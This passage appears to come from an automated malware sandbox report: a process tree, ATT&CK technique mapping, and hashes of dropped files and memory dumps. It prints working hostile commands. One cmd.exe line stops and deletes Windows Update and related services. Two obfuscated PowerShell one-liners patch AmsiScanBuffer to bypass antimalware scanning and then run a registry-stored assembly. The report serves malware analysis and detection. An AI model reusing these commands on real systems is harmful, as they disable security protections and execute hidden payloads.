  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5076
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2492
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:3012
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:4932
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:3208
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:3420
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:3484
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:3204
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:3184
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:4044
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:4748
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:3408

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 4800 -ip 4800
1⤵
PID:3632

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 4648 -ip 4648
1⤵
PID:1880

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:EpWTteUZePrk{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$XmkZHGrnvDrxah,[Parameter(Position=1)][Type]$ArXOyOCoMi)$bnbwReqqnEE=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Ref'+[Char](108)+''+'e'+''+[Char](99)+''+'t'+''+[Char](101)+''+'d'+'D'+'e'+''+'l'+'e'+[Char](103)+''+[Char](97)+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+'o'+'r'+[Char](121)+'M'+[Char](111)+''+[Char](100)+'u'+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+''+'D'+''+[Char](101)+''+'l'+''+'e'+'ga'+'t'+''+[Char](101)+''+'T'+''+[Char](121)+''+[Char](112)+'e','Cl'+'a'+'ss,'+'P'+'ub'+'l'+''+[Char](105)+''+'c'+','+[Char](83)+'e'+[Char](97)+''+[Char](108)+'e'+'d'+''+[Char](44)+''+'A'+''+'n'+''+[Char](115)+'i'+'C'+'la'+'s'+'s,'+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+'Cl'+[Char](97)+'s'+'s'+'',[MulticastDelegate]);$bnbwReqqnEE.DefineConstructor('RTSpe'+[Char](99)+'i'+'a'+''+[Char](108)+''+'N'+''+[Char](97)+'m'+'e'+''+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+'y'+'Si'+[Char](103)+''+[Char](44)+''+'P'+''+'u'+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$XmkZHGrnvDrxah).SetImplementationFlags(''+'R'+'un'+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+'g'+''+[Char](101)+'d');$bnbwReqqnEE.DefineMethod(''+[Char](73)+''+[Char](110)+'vo'+[Char](107)+''+[Char](101)+'',''+'P'+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+'c'+[Char](44)+'H'+'i'+''+'d'+'e'+[Char](66)+''+[Char](121)+''+'S'+''+'i'+'g'+[Char](44)+''+[Char](78)+''+[Char](101)+'wS'+[Char](108)+''+'o'+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+'i'+''+[Char](114)+'t'+[Char](117)+'al',$ArXOyOCoMi,$XmkZHGrnvDrxah).SetImplementationFlags(''+'R'+'un'+'t'+''+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $bnbwReqqnEE.CreateType();}$JraJItTlPSeBU=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+'t'+''+'e'+''+[Char](109)+''+'.'+''+'d'+''+'l'+''+'l'+'')}).GetType(''+[Char](77)+'ic'+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+'t.'+[Char](87)+'i'+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](85)+'n'+'s'+''+[Char](97)+'f'+[Char](101)+''+'J'+''+[Char](114)+''+[Char](97)+''+[Char](74)+'I'+[Char](116)+''+[Char](84)+''+[Char](108)+''+[Char](80)+''+[Char](83)+'e'+'B'+''+'U'+'');$LbhHFdnNsiPmeS=$JraJItTlPSeBU.GetMethod(''+'L'+''+'b'+'h'+[Char](72)+''+[Char](70)+'dnN'+[Char](115)+'i'+[Char](80)+'m'+'e'+''+[Char](83)+'',[Reflection.BindingFlags]''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+'i'+[Char](99)+''+','+'S'+[Char](116)+''+'a'+''+[Char](116)+'i'+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$RutREEdPnNVNlaksmcz=EpWTteUZePrk @([String])([IntPtr]);$xvDQEKXeZjdWIzYxQaaWIW=EpWTteUZePrk @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$pDhAQiAzQzz=$JraJItTlPSeBU.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](77)+'o'+'d'+''+[Char](117)+'l'+'e'+''+'H'+''+[Char](97)+''+[Char](110)+''+'d'+'l'+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+'l3'+[Char](50)+''+[Char](46)+''+'d'+'ll')));$EBKwLhMserHOnT=$LbhHFdnNsiPmeS.Invoke($Null,@([Object]$pDhAQiAzQzz,[Object](''+[Char](76)+''+[Char](111)+''+'a'+''+[Char](100)+''+[Char](76)+''+'i'+''+'b'+'r'+'a'+''+'r'+''+'y'+''+'A'+'')));$EycTvlDVyQOUEysML=$LbhHFdnNsiPmeS.Invoke($Null,@([Object]$pDhAQiAzQzz,[Object]('Vi'+'r'+''+[Char](116)+'u'+'a'+'l'+[Char](80)+''+[Char](114)+''+'o'+''+[Char](116)+''+[Char](101)+'c'+[Char](116)+'')));$RUhYwPE=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EBKwLhMserHOnT,$RutREEdPnNVNlaksmcz).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+'d'+'ll');$eRVQFayFFOzlEeqjY=$LbhHFdnNsiPmeS.Invoke($Null,@([Object]$RUhYwPE,[Object]('A'+[Char](109)+''+'s'+'iSc'+[Char](97)+''+'n'+''+[Char](66)+'u'+'f'+'fe'+'r'+'')));$GULJCpDawX=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EycTvlDVyQOUEysML,$xvDQEKXeZjdWIzYxQaaWIW).Invoke($eRVQFayFFOzlEeqjY,[uint32]8,4,[ref]$GULJCpDawX);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$eRVQFayFFOzlEeqjY,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EycTvlDVyQOUEysML,$xvDQEKXeZjdWIzYxQaaWIW).Invoke($eRVQFayFFOzlEeqjY,[uint32]8,0x20,[ref]$GULJCpDawX);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+'RE').GetValue(''+[Char](100)+''+[Char](105)+''+'a'+''+'l'+'e'+[Char](114)+''+'s'+'t'+[Char](97)+''+[Char](103)+'e'+'r'+'')).EntryPoint.Invoke($Null,$Null)
1⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:5028

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:AwmyRmMeemha{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$jcQAEzMnfmiYoM,[Parameter(Position=1)][Type]$CjwOCaUYNr)$plWeRnboEWz=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Ref'+[Char](108)+''+[Char](101)+''+'c'+''+[Char](116)+''+[Char](101)+''+'d'+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+'y'+''+[Char](77)+''+[Char](111)+''+[Char](100)+'ule',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e'+'T'+''+'y'+'p'+'e'+'',''+[Char](67)+''+'l'+'as'+[Char](115)+','+'P'+''+'u'+''+[Char](98)+'l'+'i'+''+'c'+''+','+''+[Char](83)+''+'e'+''+[Char](97)+''+'l'+''+[Char](101)+''+[Char](100)+''+','+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+'l'+''+'a'+'s'+'s'+''+','+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+''+'C'+'l'+'a'+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$plWeRnboEWz.DefineConstructor('R'+[Char](84)+'Sp'+'e'+''+'c'+''+'i'+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+[Char](44)+'H'+[Char](105)+''+[Char](100)+''+'e'+''+[Char](66)+'yS'+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$jcQAEzMnfmiYoM).SetImplementationFlags('R'+'u'+'n'+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');$plWeRnboEWz.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+[Char](111)+'k'+'e'+'',''+[Char](80)+'u'+'b'+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'H'+''+'i'+''+[Char](100)+''+[Char](101)+'B'+'y'+'S'+'i'+'g,N'+[Char](101)+''+[Char](119)+''+[Char](83)+''+'l'+''+[Char](111)+''+'t'+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$CjwOCaUYNr,$jcQAEzMnfmiYoM).SetImplementationFlags(''+[Char](82)+'un'+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+'a'+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $plWeRnboEWz.CreateType();}$REpYcUnZKAxng=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+'t'+''+'e'+''+'m'+'.'+'d'+''+[Char](108)+''+'l'+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+'so'+[Char](102)+'t'+'.'+'Win'+'3'+''+[Char](50)+''+'.'+''+'U'+''+[Char](110)+''+[Char](115)+'af'+[Char](101)+''+[Char](82)+''+'E'+''+[Char](112)+''+'Y'+'cU'+[Char](110)+''+'Z'+''+'K'+'Axn'+'g'+'');$fratxPNODsMvPU=$REpYcUnZKAxng.GetMethod(''+'f'+''+[Char](114)+''+'a'+''+'t'+''+'x'+''+[Char](80)+'NOD'+[Char](115)+''+'M'+''+[Char](118)+'P'+[Char](85)+'',[Reflection.BindingFlags]''+'P'+''+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+'Sta'+[Char](116)+'i'+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$MeEbZtZDSSpwagdJsJD=AwmyRmMeemha @([String])([IntPtr]);$suQvAcIXCmrhLkqskBKWgp=AwmyRmMeemha @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$rbhDOxYwjKA=$REpYcUnZKAxng.GetMethod(''+[Char](71)+'et'+'M'+''+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+''+'H'+''+'a'+'ndl'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+'n'+[Char](101)+''+'l'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+'d'+''+'l'+'l')));$pUnkwlzeDlkMNQ=$fratxPNODsMvPU.Invoke($Null,@([Object]$rbhDOxYwjKA,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+'dL'+'i'+''+'b'+''+[Char](114)+''+[Char](97)+''+[Char](114)+'y'+[Char](65)+'')));$ZedJsaoTRCYZAPohG=$fratxPNODsMvPU.Invoke($Null,@([Object]$rbhDOxYwjKA,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+'l'+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+'c'+''+[Char](116)+'')));$vyaiPBL=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pUnkwlzeDlkMNQ,$MeEbZtZDSSpwagdJsJD).Invoke('a'+[Char](109)+''+'s'+'i'+[Char](46)+'d'+[Char](108)+'l');$zyWcCeeaHNJxWFvtp=$fratxPNODsMvPU.Invoke($Null,@([Object]$vyaiPBL,[Object](''+[Char](65)+''+[Char](109)+''+'s'+''+'i'+''+[Char](83)+''+'c'+''+'a'+'n'+'B'+''+[Char](117)+''+'f'+''+[Char](102)+'e'+[Char](114)+'')));$VmiFaCrrCq=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ZedJsaoTRCYZAPohG,$suQvAcIXCmrhLkqskBKWgp).Invoke($zyWcCeeaHNJxWFvtp,[uint32]8,4,[ref]$VmiFaCrrCq);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$zyWcCeeaHNJxWFvtp,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ZedJsaoTRCYZAPohG,$suQvAcIXCmrhLkqskBKWgp).Invoke($zyWcCeeaHNJxWFvtp,[uint32]8,0x20,[ref]$VmiFaCrrCq);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue('dia'+'l'+''+[Char](101)+''+'r'+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4888

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scripting

T1064

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Scripting

T1064

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
MD5 bdb25c22d14ec917e30faf353826c5de
SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
MD5 SHA1 SHA512 SSDEEP

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ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 638c51e173ca6b3469494a7e2e0b656021a761f77b4a83f3e430e82e7b9af675
MD5 124edf3ad57549a6e475f3bc4e6cfe51
SHA1 80f5187eeebb4a304e9caa0ce66fcd78c113d634
SHA512 b6c1a9051feeffad54ba1092fd799d34a9578368d7e66b31780fe478c1def0eb4094dce2879003f7389f2f9d86b94a3ef3975e78092a604597841c9b8db120ee
SSDEEP 1536:tB+z30fztAHkvlOdBrNKe8flJn1YorV3CNBQkj2okqdzz0RzWRW7jMOvBaVGVh4j:r+z30fztAHktOdBrNKe8flJn1YorV3Cd
MD5 SHA1 SHA512 SSDEEP

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 19KB
SHA256 fdc9e53d744a7d7204973f2760755ca446063347edde6a846abf26db45fbe152
MD5 450058036500273ab5d4ba0add06a828
SHA1 63e84497edb18529a846c826afae5b8bd6b74ca9
SHA512 85cb9536f8b49170aa0de74129a8293e0b439272224ad481d1f8be6b3b24b0cb3f420e873e129601b0178f4089167162909017d77f99b00480db2f792cc4d814
SSDEEP 384:4sf++aT9i+ZD40lmQVIYekpo9ophTfK6seY+p7/PNA3So3A4/3l7FazCvrQ0gcZr:Vf2pD4ZM/96ophTfNxtYSiN7IzCnnLR
MD5 SHA1 SHA512 SSDEEP

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 54992c76969f661b605042ebdc73912dbc42e3f88aa6ffecb7191a598fc17164
MD5 c697637a9b17f577fccd7e83a5495810
SHA1 04e6054584786b88994b0e0a871562227fe2a435
SHA512 66f85a03889786d2c910880bf32e9ea380740b665f11828d06acb03b6f63fb11be1d70e67acb3bc2118f2c35824919458ce7c85f6843c72a3e5ca44fadc0b3c0
MD5 SHA1 SHA512

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SmartDefRun.exe

Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
Size 3.7MB
SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
MD5 f5c51e7760315ad0f0238d268c03c60e
SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
SSDEEP 49152:igUZan/N8cnnhzkmNraFEZPEF/4mpeD178OgxjK5j4Ga6BGnCtMPBQKChwm/Xu7M:incbnZkmxaaHFrySDZBBa50wm/e7Dt
MD5 SHA1 SHA512 SSDEEP

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SmartDefRun.exe

Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
Size 3.7MB
SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
MD5 f5c51e7760315ad0f0238d268c03c60e
SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
SSDEEP 49152:igUZan/N8cnnhzkmNraFEZPEF/4mpeD178OgxjK5j4Ga6BGnCtMPBQKChwm/Xu7M:incbnZkmxaaHFrySDZBBa50wm/e7Dt
MD5 SHA1 SHA512 SSDEEP

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SysApp.exe

Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
Size 1.4MB
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
SSDEEP 24576:Y3621SZiNtNxkSJPXZi9aftdqkXO5pM7xUo1nZADHE2SDyuq5ZP+df:Y3dblkS5XZi9wdqlpMVUo1n+kbDzqbk
MD5 SHA1 SHA512 SSDEEP

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SysApp.exe

Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
Size 1.4MB
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
SSDEEP 24576:Y3621SZiNtNxkSJPXZi9aftdqkXO5pM7xUo1nZADHE2SDyuq5ZP+df:Y3dblkS5XZi9wdqlpMVUo1n+kbDzqbk
MD5 SHA1 SHA512 SSDEEP

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new2.exe

Path C:\Users\Admin\AppData\Local\Temp\new2.exe
Size 477KB
SHA256 0f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
MD5 3753f9966e5b4fdc87184c1749f2bd25
SHA1 69b76e86bfb4fcf4c0eb2f5fc8b71356e9f4e756
SHA512 3283dfee96e0089873336f3c699604eb33d5c091cdf65a193d4f8e1850625823f62dc02d242290dfd10c10f127bfec26f55b6438fc9ab2c0dd5c9f7cb764e8b6
SSDEEP 12288:2QqCqj3EW3vMF42dmGB5y+4hnXOSXx2mbZhoRBK:2QqCqj3EWfMF42dUhnXnQYzmBK
MD5 SHA1 SHA512 SSDEEP

Submit Download

new2.exe

Path C:\Users\Admin\AppData\Local\Temp\new2.exe
Size 477KB
SHA256 0f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
MD5 3753f9966e5b4fdc87184c1749f2bd25
SHA1 69b76e86bfb4fcf4c0eb2f5fc8b71356e9f4e756
SHA512 3283dfee96e0089873336f3c699604eb33d5c091cdf65a193d4f8e1850625823f62dc02d242290dfd10c10f127bfec26f55b6438fc9ab2c0dd5c9f7cb764e8b6
SSDEEP 12288:2QqCqj3EW3vMF42dmGB5y+4hnXOSXx2mbZhoRBK:2QqCqj3EWfMF42dUhnXnQYzmBK
MD5 SHA1 SHA512 SSDEEP

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memory/588-231-0x00007FFD6ABF0000-0x00007FFD6AC00000-memory.dmp

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memory/664-232-0x00007FFD6ABF0000-0x00007FFD6AC00000-memory.dmp

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memory/2064-224-0x00007FFDAAB70000-0x00007FFDAAD65000-memory.dmp

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memory/2064-223-0x0000000140000000-0x0000000140029000-memory.dmp

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memory/2064-229-0x0000000140000000-0x0000000140029000-memory.dmp

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memory/2064-225-0x00007FFDA9C00000-0x00007FFDA9CBE000-memory.dmp

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memory/2064-230-0x00007FFDAAB70000-0x00007FFDAAD65000-memory.dmp

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memory/2064-220-0x0000000140000000-0x0000000140029000-memory.dmp

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memory/2164-193-0x00007FFD8C560000-0x00007FFD8D021000-memory.dmp

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memory/2164-187-0x000001D1FF7B0000-0x000001D1FF7D2000-memory.dmp

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memory/2164-190-0x000001D19B4F0000-0x000001D19B50C000-memory.dmp

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memory/2164-191-0x000001D1FF210000-0x000001D1FF21A000-memory.dmp

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memory/2164-192-0x000001D1FF7E0000-0x000001D1FF7FC000-memory.dmp

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memory/2164-194-0x000001D1FF780000-0x000001D1FF78A000-memory.dmp

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memory/2164-195-0x000001D1FF800000-0x000001D1FF81A000-memory.dmp

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memory/2164-196-0x000001D19B710000-0x000001D19B718000-memory.dmp

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memory/2164-197-0x000001D19B720000-0x000001D19B726000-memory.dmp

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memory/2164-198-0x000001D1FF790000-0x000001D1FF79A000-memory.dmp

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memory/2164-199-0x00007FFD8C560000-0x00007FFD8D021000-memory.dmp

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memory/2544-154-0x0000000007590000-0x000000000759E000-memory.dmp

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memory/2544-144-0x0000000005970000-0x00000000059D6000-memory.dmp

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memory/2544-141-0x00000000026A0000-0x00000000026D6000-memory.dmp

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memory/2544-142-0x0000000005110000-0x0000000005738000-memory.dmp

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memory/2544-143-0x0000000005090000-0x00000000050B2000-memory.dmp

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memory/2544-145-0x00000000059E0000-0x0000000005A46000-memory.dmp

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memory/2544-146-0x0000000006020000-0x000000000603E000-memory.dmp

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memory/2544-147-0x0000000006600000-0x0000000006632000-memory.dmp

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memory/2544-148-0x0000000074A10000-0x0000000074A5C000-memory.dmp

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memory/2544-149-0x00000000065E0000-0x00000000065FE000-memory.dmp

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memory/2544-150-0x00000000079A0000-0x000000000801A000-memory.dmp

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memory/2544-151-0x0000000007360000-0x000000000737A000-memory.dmp

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memory/2544-152-0x00000000073D0000-0x00000000073DA000-memory.dmp

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memory/2544-158-0x00000000085D0000-0x0000000008B74000-memory.dmp

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memory/2544-157-0x00000000076F0000-0x0000000007712000-memory.dmp

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memory/2544-156-0x00000000075D0000-0x00000000075D8000-memory.dmp

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memory/2544-155-0x00000000075E0000-0x00000000075FA000-memory.dmp

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memory/2544-153-0x0000000007620000-0x00000000076B6000-memory.dmp

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memory/2840-168-0x0000000000400000-0x0000000000420000-memory.dmp

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memory/2840-184-0x0000000006D10000-0x0000000006D60000-memory.dmp

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memory/2840-183-0x0000000007480000-0x00000000079AC000-memory.dmp

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memory/2840-182-0x0000000006D80000-0x0000000006F42000-memory.dmp

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memory/2840-181-0x00000000062F0000-0x000000000630E000-memory.dmp

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memory/2840-180-0x00000000060E0000-0x0000000006156000-memory.dmp

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memory/2840-179-0x0000000006040000-0x00000000060D2000-memory.dmp

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memory/2840-174-0x00000000050D0000-0x00000000050E2000-memory.dmp

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memory/2840-175-0x0000000005200000-0x000000000530A000-memory.dmp

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memory/2840-173-0x0000000005630000-0x0000000005C48000-memory.dmp

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memory/2840-176-0x0000000005130000-0x000000000516C000-memory.dmp

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memory/3564-177-0x00000000021C6000-0x00000000026CA000-memory.dmp

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memory/3564-178-0x00000000026D8000-0x0000000002815000-memory.dmp

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memory/3564-185-0x00000000021C6000-0x00000000026CA000-memory.dmp

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memory/3564-186-0x00000000026D8000-0x0000000002815000-memory.dmp

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memory/3860-213-0x00007FFD8C4A0000-0x00007FFD8CF61000-memory.dmp

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memory/3860-214-0x000001D20F989000-0x000001D20F98F000-memory.dmp

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memory/3860-210-0x00007FFD8C4A0000-0x00007FFD8CF61000-memory.dmp

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memory/4680-139-0x0000000000400000-0x0000000000405000-memory.dmp

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memory/4680-133-0x0000000000400000-0x0000000000405000-memory.dmp

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memory/4888-228-0x00007FFDA9C00000-0x00007FFDA9CBE000-memory.dmp

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memory/4888-227-0x00007FFDAAB70000-0x00007FFDAAD65000-memory.dmp

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memory/4888-226-0x00007FFD8C5C0000-0x00007FFD8D081000-memory.dmp

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memory/4888-219-0x00007FFDA9C00000-0x00007FFDA9CBE000-memory.dmp

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memory/4888-218-0x00007FFDAAB70000-0x00007FFDAAD65000-memory.dmp

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memory/4888-217-0x00007FFD8C5C0000-0x00007FFD8D081000-memory.dmp

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